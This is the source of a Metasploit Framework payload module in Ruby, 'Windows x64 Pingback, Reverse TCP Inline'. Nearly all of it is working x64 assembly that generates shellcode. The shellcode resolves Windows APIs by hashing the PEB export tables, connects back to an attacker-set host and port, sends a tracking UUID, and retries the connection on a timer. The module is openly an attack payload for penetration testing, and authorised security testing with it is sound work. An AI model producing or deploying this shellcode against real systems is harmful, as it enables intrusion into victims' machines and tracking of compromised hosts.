metasploit-framework/modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb

262 lines
13 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 425
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Pingback, Reverse TCP Inline',
'Description' => 'Connect back to attacker and report UUID (Windows x64)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Pingback
))
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
space += 15
space
end
def generate(_opts = {})
# 22 -> "0x00,0x16"
# 4444 -> "0x11,0x5c"
encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
pingback_count = datastore['PingbackRetries']
pingback_sleep = datastore['PingbackSleep']
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
conf = { exitfunk: datastore['EXITFUNC'] }
asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to iterate the export address table,
mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typically the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; if not, proceed to the next module
mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
start:
pop rbp ; block API pointer
reverse_tcp:
; setup the structures we need on the stack...
mov r14, 'ws2_32'
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, #{408 + 8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
; structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, #{encoded_host_port}
push r12 ; host, family AF_INET and port
mov r12, rsp ; save pointer to sockaddr struct for connect call
; perform the call to LoadLibraryA...
mov rcx, r14 ; set the param for the library to load
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this struct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call rbp ; WSAStartup( 0x0101, &WSAData );
; stick the retry count on the stack and store it
push #{retry_count} ; retry counter
pop r14
push #{pingback_count}
pop r15
create_socket:
; perform the call to WSASocketA...
push rax ; if we succeed, rax will be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
try_connect:
; perform the call to connect...
push 16 ; length of the sockaddr struct
pop r8 ; pop off the third param
mov rdx, r12 ; set second param to pointer to sockaddr struct
mov rcx, rdi ; the socket
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call rbp ; connect( s, &sockaddr, 16 );
test eax, eax ; non-zero means failure
jz connected
handle_connect_failure:
dec r14 ; decrement the retry count
jnz try_connect
dec r15
jmp close_socket
failure:
call exitfunk
; this label is required so that reconnect attempts include
; the UUID stuff if required.
connected:
send_pingback:
xor r9, r9 ; flags
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
pop r8
call get_pingback_address ; put uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_pingback_address:
pop rdx ; PINGBACK UUID address
mov rcx, rdi ; Socket handle
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
call rbp ; call send
close_socket:
mov rcx, rdi ; Socket handle
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call rbp ; call closesocket
^
if pingback_count > 0
asm << %Q^
sleep:
test r15, r15 ; check pingback retry counter
jz exitfunk ; bail if we are at 0
dec r15 ;decrement the pingback retry counter
push #{(pingback_sleep * 1000)} ; 10 seconds
pop rcx ; set the sleep function parameter
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call rbp ; Sleep()
jmp create_socket ; repeat callback
^
end
if conf[:exitfunk]
asm << asm_exitfunk(conf)
end
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
end
end
end